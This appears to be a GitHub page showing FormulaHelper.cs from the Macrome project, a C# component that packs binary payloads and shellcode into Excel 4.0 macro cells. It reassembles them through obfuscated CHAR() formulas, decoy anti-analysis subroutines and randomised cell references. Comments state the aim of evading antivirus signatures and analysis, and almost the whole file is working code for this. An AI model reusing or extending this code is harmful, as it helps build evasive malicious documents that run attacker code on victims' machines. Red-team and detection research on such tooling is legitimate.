-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathFormulaHelper.cs
747 lines (617 loc) · 33.6 KB
/
FormulaHelper.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using b2xtranslator.Spreadsheet.XlsFileFormat;
using b2xtranslator.Spreadsheet.XlsFileFormat.Ptg;
using b2xtranslator.Spreadsheet.XlsFileFormat.Records;
using b2xtranslator.xls.XlsFileFormat.Ptg;
using b2xtranslator.xls.XlsFileFormat.Records;
using b2xtranslator.xls.XlsFileFormat.Structures;
namespace Macrome
{
public static class FormulaHelper
{
public const string TOOLONGMARKER = "<FORMULAISTOOLONG>";
/// <summary>
/// Convert a binary payload into a series of cells representing the binary data.
/// Can be iterated across as described in https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
///
/// Because of additional binary processing logic added on May 28/29 (the TOOLONGMARKER usage), this no longer needs to identify
/// if a character is printable or not.
/// </summary>
/// <param name="payload"></param>
/// <returns></returns>
public static List<string> BuildPayloadMacros(byte[] payload)
{
int maxCellSize = 255;
List<string> macros = new List<string>();
string curMacroString = "";
foreach (byte b in payload)
{
if (b == (byte) 0)
{
throw new ArgumentException("Payloads with null bytes must use the Base64 Payload Method.");
}
curMacroString += (char) b;
if (curMacroString.Length == maxCellSize)
{
macros.Add(curMacroString);
curMacroString = "";
}
}
macros.Add(curMacroString);
macros.Add("END");
return macros;
}
public static List<string> BuildBase64PayloadMacros(byte[] shellcode)
{
List<string> base64Strings = new List<string>();
//Base64 expansion is 4/3, and we have 252 bytes to spend, so we can have 189 bytes / cell
//As an added bonus, 189 is always divisible by 3, so we won't have == padding.
int maxBytesPerCell = 189;
for (int offset = 0; offset < shellcode.Length; offset += maxBytesPerCell)
{
byte[] guidShellcode;
if (shellcode.Length - offset < maxBytesPerCell)
{
guidShellcode = shellcode.Skip(offset).ToArray();
}
else
{
guidShellcode = shellcode.Skip(offset).Take(maxBytesPerCell).ToArray();
}
base64Strings.Add(Convert.ToBase64String(guidShellcode));
}
base64Strings.Add("END");
return base64Strings;
}
private static Stack<AbstractPtg> GetGotoForCell(int rw, int col)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgRef(rw, col, false, false));
ptgStack.Push(new PtgFuncVar(FtabValues.GOTO, 1, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
private static Stack<AbstractPtg> GetCharSubroutineForInt(ushort charInt, string varName,
int functionLabelOffset)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgMissArg());
ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(functionLabelOffset));
ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(charInt));
ptgList.Add(new PtgStr(varName, true));
ptgList.Reverse();
return new Stack<AbstractPtg>(ptgList);
}
private static Stack<AbstractPtg> GetCharSubroutineWithArgsForInt(ushort charInt, int functionLabelOffset)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(charInt));
ptgList.Add(new PtgName(functionLabelOffset));
ptgList.Reverse();
return new Stack<AbstractPtg>(ptgList);
}
private static Stack<AbstractPtg> GetAntiAnalysisCharSubroutineForInt(ushort charInt, string varName, string decoyVarName,
int functionLabelOffset)
{
int numAndArgs = 2;
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgMissArg());
ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(functionLabelOffset));
ptgList.Add(new PtgFuncVar(FtabValues.AND, numAndArgs, AbstractPtg.PtgDataType.VALUE));
Random r = new Random();
int correctArg = r.Next(0, numAndArgs);
for (int i = 0; i < numAndArgs; i += 1)
{
ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE));
if (i == correctArg)
{
ptgList.Add(new PtgInt(charInt));
ptgList.Add(new PtgStr(varName, true));
}
else
{
ptgList.Add(new PtgInt((ushort)r.Next(1,255)));
ptgList.Add(new PtgStr(decoyVarName, true));
}
}
ptgList.Reverse();
return new Stack<AbstractPtg>(ptgList);
}
public static Formula CreateCharInvocationFormulaForLblIndex(ushort rw, ushort col, int lblIndex)
{
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(lblIndex));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula charInvocationFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return charInvocationFormula;
}
public static List<Formula> CreateCharFunctionWithArgsForLbl(ushort rw, ushort col, int var1Lblindex, string var1Lblname)
{
// =ARGUMENT("var1",1)
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(1));
ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula charFuncArgFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true,
new CellParsedFormula(ptgStack));
// =RETURN(CHAR(var1))
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(var1Lblindex));
ptgList.Reverse();
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula charInvocationReturnFormula = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return new List<Formula>() {charFuncArgFormula, charInvocationReturnFormula};
}
public static List<Formula> CreateFormulaInvocationFormulaForLblIndexes(ushort rw, ushort col, string var1Lblname, string var2Lblname, int var1Lblindex, int var2Lblindex)
{
// =ARGUMENT("var1",2)
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(2));
ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formFuncArg1Formula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true,
new CellParsedFormula(ptgStack));
// =ARGUMENT("var2",8)
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(8));
ptgList.Add(new PtgStr(var2Lblname, true, AbstractPtg.PtgDataType.VALUE));
ptgList.Reverse();
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formFuncArg2Formula = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true,
new CellParsedFormula(ptgStack));
// =FORMULA(var1,var2)
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgName(var2Lblindex));
ptgList.Add(new PtgName(var1Lblindex));
ptgList.Reverse();
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formulaInvocationFunction = new Formula(new Cell(rw+2, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
// =RETURN()
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 0, AbstractPtg.PtgDataType.VALUE));
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula returnFormula = new Formula(new Cell(rw+3, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return new List<Formula>() {formFuncArg1Formula, formFuncArg2Formula, formulaInvocationFunction, returnFormula};
}
public static List<Formula> CreateFormulaEvalInvocationFormulaForLblIndexes(ushort rw, ushort col, string var1Lblname, int var1Lblindex)
{
// =ARGUMENT("var1",2)
List<AbstractPtg> ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgInt(2));
ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE));
ptgList.Reverse();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formFuncArg1Formula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true,
new CellParsedFormula(ptgStack));
// =FORMULA(var1,nextRow)
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgRef(rw+2,col,false,false));
ptgList.Add(new PtgName(var1Lblindex));
ptgList.Reverse();
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formulaInvocationFunction = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
// Formula Written by Previous Line
// =FORMULA("",prevRow)
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE));
ptgList.Add(new PtgRef(rw+2,col,false,false));
ptgList.Add(new PtgStr(""));
ptgList.Reverse();
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula formulaRemovalFunction = new Formula(new Cell(rw+3, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
// =RETURN()
ptgList = new List<AbstractPtg>();
ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 0, AbstractPtg.PtgDataType.VALUE));
ptgStack = new Stack<AbstractPtg>(ptgList);
Formula returnFormula = new Formula(new Cell(rw+4, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return new List<Formula>() {formFuncArg1Formula, formulaInvocationFunction, formulaRemovalFunction, returnFormula};
}
public static Stack<AbstractPtg> GetAlertPtgStack(string alertString)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("Hello World!", false, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgInt(2, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgFuncVar(CetabValues.ALERT, 2, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
public static Formula GetGotoFormulaForCell(int rw, int col, int dstRw, int dstCol, int ixfe = 15)
{
Cell curCell = new Cell(rw, col, ixfe);
Stack<AbstractPtg> ptgStack = GetGotoForCell(dstRw, dstCol);
Formula gotoFormula = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return gotoFormula;
}
public static Stack<AbstractPtg> GetCharPtgForInt(ushort charInt)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgInt(charInt));
//An alternate way to invoke the CHAR function by using PtgFuncVar instead
//TODO [Stealth] this is sig-able and we'll want to do something more generalized than abuse the fact AV doesn't pay attention
ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE));
// ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
return ptgStack;
}
public static Stack<AbstractPtg> GetObfuscatedCharPtgForInt(ushort charInt)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
Random r = new Random();
//Allegedly we max out at 0xFF for column values...could be a nice accidental way of creating alternate references though
//Generate a random PtgRef to start the stack - if it's an empty cell, this is a no-op if we end with a PtgConcat
ptgStack.Push(new PtgRef(r.Next(1000, 2000), r.Next(0x20, 0x9F), false, false, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgNum(charInt));
ptgStack.Push(new PtgInt(0));
ptgStack.Push(new PtgFunc(FtabValues.ROUND, AbstractPtg.PtgDataType.VALUE));
//An alternate way to invoke the CHAR function by using PtgFuncVar instead
// ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE));
ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE));
//Merge the random PtgRef we generate at the beginning
ptgStack.Push(new PtgConcat());
return ptgStack;
}
public static List<BiffRecord> ConvertBase64StringsToRecords(List<string> base64Strings, int rwStart,
int colStart)
{
List<BiffRecord> records = new List<BiffRecord>();
int curRow = rwStart;
int curCol = colStart;
foreach (var base64String in base64Strings)
{
records.AddRange(GetRecordsForString(base64String, curRow, curCol));
curRow += 1;
}
return records;
}
public static List<BiffRecord> GetRecordsForString(string str, int rw, int col)
{
List<BiffRecord> records = new List<BiffRecord>();
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("A", false));
Cell targetCell = new Cell(rw, col);
BiffRecord record = new Formula(targetCell, FormulaValue.GetStringFormulaValue(), false,
new CellParsedFormula(ptgStack));
records.Add(record);
records.Add(new STRING(str, false));
return records;
}
public static List<BiffRecord> ConvertStringsToRecords(List<string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart,
int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
int curRow = rwStart;
int curCol = colStart;
int dstCurRow = dstRwStart;
int dstCurCol = dstColStart;
//TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions
foreach (string str in strings)
{
string[] rowStrings = str.Split(MacroPatterns.MacroColumnSeparator);
List<BiffRecord> stringFormulas = new List<BiffRecord>();
for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1)
{
//Skip empty strings
if (rowStrings[colOffset].Trim().Length == 0)
{
continue;
}
string rowString = rowStrings[colOffset];
int maxCellLength = 0x2000;
//One Char can take up to 8 bytes
int concatCharLength = 8;
List<BiffRecord> formulas;
if ((rowString.Length * concatCharLength) > maxCellLength)
{
//Given that the max actual length for a cell is 255 bytes, this is unlikely to ever be used,
//but the logic is being kept in case there are edge cases or there ends up being a workaround
//for the limitation
List<string> chunks = rowString.SplitStringIntoChunks(250);
formulas = ConvertChunkedStringToFormulas(chunks, curRow, curCol, dstCurRow, dstCurCol, ixfe, packingMethod);
}
else
{
string curString = rowStrings[colOffset];
//If the string is technically 255 bytes, but needs additional encoding, we break it into two parts:
//ex: "=123456" becomes "=CHAR(=)&CHAR(1)&CHAR(2)&CHAR(3)&RandomCell" and =RandomVarName&"456"
if (curString.StartsWith(FormulaHelper.TOOLONGMARKER))
{
formulas = ConvertMaxLengthStringToFormulas(curString, curRow, curCol, dstCurRow,
dstCurCol + colOffset, ixfe, packingMethod);
}
else
{
formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod);
}
}
stringFormulas.AddRange(formulas);
//If we're starting to get close to the max rowcount (0xFFFF in XLS), then move to the next row
if (curRow > 0xE000)
{
Formula nextRowFormula = FormulaHelper.GetGotoFormulaForCell(curRow + formulas.Count, curCol, 0, curCol + 1);
stringFormulas.Add(nextRowFormula);
curRow = 0;
curCol += 1;
}
else
{
curRow += formulas.Count;
}
}
dstCurRow += 1;
formulaList.AddRange(stringFormulas);
}
return formulaList;
}
public static List<BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
string actualString =
new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray());
string earlyString = new string(actualString.Take(16).ToArray());
string remainingString = new string(actualString.Skip(16).ToArray());
List<BiffRecord> formulas = new List<BiffRecord>();
int curRow = rwStart;
int curCol = colStart;
Random r = new Random();
int rndCol = r.Next(0x90, 0x9F);
int rndRw = r.Next(0xF000, 0xF800);
formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod));
curRow += formulas.Count;
Cell remainderCell = new Cell(rndRw, rndCol);
List<Cell> createdCells = new List<Cell>();
//Create a formula string like
//"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]";
//To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s
string macroString = "=";
foreach (char c in earlyString)
{
macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c));
}
macroString += string.Format("R{0}C{1}",rndRw + 1, rndCol + 1);
createdCells.Add(remainderCell);
List<BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod);
formulas.AddRange(mainFormula);
return formulas;
}
public static List<BiffRecord> ConvertChunkedStringToFormulas(List<string> chunkedString, int rwStart, int colStart, int dstRw,
int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
bool instaEval = false;
if (chunkedString[0].StartsWith(MacroPatterns.InstaEvalMacroPrefix))
{
if (packingMethod != SheetPackingMethod.ArgumentSubroutines)
{
throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval");
}
instaEval = true;
chunkedString[0] = chunkedString[0].Replace(MacroPatterns.InstaEvalMacroPrefix, "");
}
List<BiffRecord> formulaList = new List<BiffRecord>();
List<Cell> concatCells = new List<Cell>();
int curRow = rwStart;
int curCol = colStart;
foreach (string str in chunkedString)
{
List<Cell> createdCells = new List<Cell>();
//TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
foreach (char c in str)
{
Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);
ushort charValue = Convert.ToUInt16(c);
if (charValue > 0xFF)
{
ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("" + c, true));
}
Cell curCell = new Cell(curRow, curCol, ixfe);
createdCells.Add(curCell);
Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
byte[] formulaBytes = charFrm.GetBytes();
formulaList.Add(charFrm);
curRow += 1;
}
Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
concatCells.Add(new Cell(curRow, curCol, ixfe));
formulaList.Add(concatFormula);
curRow += 1;
}
Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol);
formulaList.Add(concatConcatFormula);
curRow += 1;
PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);
Random r = new Random();
int randomBitStuffing = r.Next(1, 32) * 0x100;
PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);
Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval);
formulaList.Add(formula);
return formulaList;
}
public static Stack<AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod)
{
switch (packingMethod)
{
case SheetPackingMethod.ObfuscatedCharFunc:
return GetObfuscatedCharPtgForInt(Convert.ToUInt16(c));
case SheetPackingMethod.ObfuscatedCharFuncAlt:
return GetCharPtgForInt(Convert.ToUInt16(c));
case SheetPackingMethod.CharSubroutine:
//For now assume the appropriate label is at offset 1 (first lbl record)
return GetCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, 1);
case SheetPackingMethod.AntiAnalysisCharSubroutine:
//For now assume the appropriate label is at offset 1 (first lbl record)
return GetAntiAnalysisCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, UnicodeHelper.DecoyVarName, 1);
case SheetPackingMethod.ArgumentSubroutines:
//For now assume the appropriate label is at offset 1 (first lbl record)
return GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1);
default:
throw new NotImplementedException();
}
}
private static List<BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
List<Cell> createdCells = new List<Cell>();
int curRow = rwStart;
int curCol = colStart;
bool instaEval = false;
if (str.StartsWith(MacroPatterns.InstaEvalMacroPrefix))
{
if (packingMethod != SheetPackingMethod.ArgumentSubroutines)
{
throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval");
}
instaEval = true;
str = str.Replace(MacroPatterns.InstaEvalMacroPrefix, "");
}
List<Formula> charFormulas = GetCharFormulasForString(str, curRow, curCol, packingMethod);
formulaList.AddRange(charFormulas);
curRow += charFormulas.Count;
createdCells = charFormulas.Select(formula => new Cell(formula.rw, formula.col, ixfe)).ToList();
List<BiffRecord> formulaInvocationRecords =
BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol, packingMethod, instaEval);
formulaList.AddRange(formulaInvocationRecords);
return formulaList;
}
private static List<Formula> GetCharFormulasForString(string str, int curRow, int curCol,
SheetPackingMethod packingMethod)
{
List<Formula> charFormulas = new List<Formula>();
if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
{
Formula macroFormula = ConvertStringToMacroFormula(str, curRow, curCol);
charFormulas.Add(macroFormula);
}
else
{
foreach (char c in str)
{
Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);
ushort charValue = Convert.ToUInt16(c);
if (charValue > 0xFF)
{
ptgStack = new Stack<AbstractPtg>();
ptgStack.Push(new PtgStr("" + c, true));
}
Cell curCell = new Cell(curRow, curCol);
Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
byte[] formulaBytes = charFrm.GetBytes();
charFormulas.Add(charFrm);
curRow += 1;
}
}
return charFormulas;
}
private static Formula GetFormulaInvocation(PtgRef srcCell, PtgRef destCell, int curRow, int curCol, SheetPackingMethod packingMethod, bool instaEval)
{
Stack<AbstractPtg> formulaPtgStack = new Stack<AbstractPtg>();
if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
{
if (instaEval == false)
{
// The Formula Call is currently hardcoded to index 2
formulaPtgStack.Push(new PtgName(2));
}
else
{
// The Instant Evaluation Formula Call is currently hardcoded to index 6
formulaPtgStack.Push(new PtgName(6));
}
}
formulaPtgStack.Push(srcCell);
formulaPtgStack.Push(destCell);
if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
{
PtgFuncVar funcVar = new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 3, AbstractPtg.PtgDataType.VALUE);
formulaPtgStack.Push(funcVar);
}
else
{
PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2);
formulaPtgStack.Push(funcVar);
}
Formula formula = new Formula(new Cell(curRow, curCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack));
return formula;
}
private static List<BiffRecord> BuildFORMULAFunctionCall(List<Cell> createdCells, int curRow, int curCol, int dstRw, int dstCol, SheetPackingMethod packingMethod, bool instaEval)
{
List<BiffRecord> formulaList = new List<BiffRecord>();
Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
formulaList.Add(concatFormula);
curRow += 1;
PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);
Random r = new Random();
int randomBitStuffing = r.Next(1, 32) * 0x100;
PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);
Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval);
formulaList.Add(formula);
return formulaList;
}
public static Formula ConvertStringToMacroFormula(string formula, int frmRow, int frmCol)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
int charactersPushed = 0;
foreach (char c in formula)
{
PtgConcat ptgConcat = new PtgConcat();
Stack<AbstractPtg> charStack = GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1);
charStack.Reverse().ToList().ForEach(item => ptgStack.Push(item));
charactersPushed += 1;
if (charactersPushed > 1)
{
ptgStack.Push(ptgConcat);
}
}
Formula f = new Formula(new Cell(frmRow, frmCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return f;
}
public static Formula BuildConcatCellsFormula(List<Cell> cells, int frmRow, int frmCol, int ixfe = 15)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
Cell firstCell = cells.First();
List<Cell> remainingCells = cells.TakeLast(cells.Count - 1).ToList();
PtgRef cellRef = new PtgRef(firstCell.Rw, firstCell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(cellRef);
//TODO [Stealth] Use alternate concat methods beyond PtgConcat, for example CONCATENATE via PtgFuncVar
foreach (Cell cell in remainingCells)
{
PtgConcat ptgConcat = new PtgConcat();
PtgRef appendedCellRef = new PtgRef(cell.Rw, cell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(appendedCellRef);
ptgStack.Push(ptgConcat);
}
Formula f = new Formula(new Cell(frmRow, frmCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return f;
}
public static List<BiffRecord> GetFormulaRecords(Formula f)
{
if (f.RequiresStringRecord() == false)
{
return new List<BiffRecord>() {f};
}
return new List<BiffRecord>()
{
f,
new STRING("\u0000", true)
};
}
}
}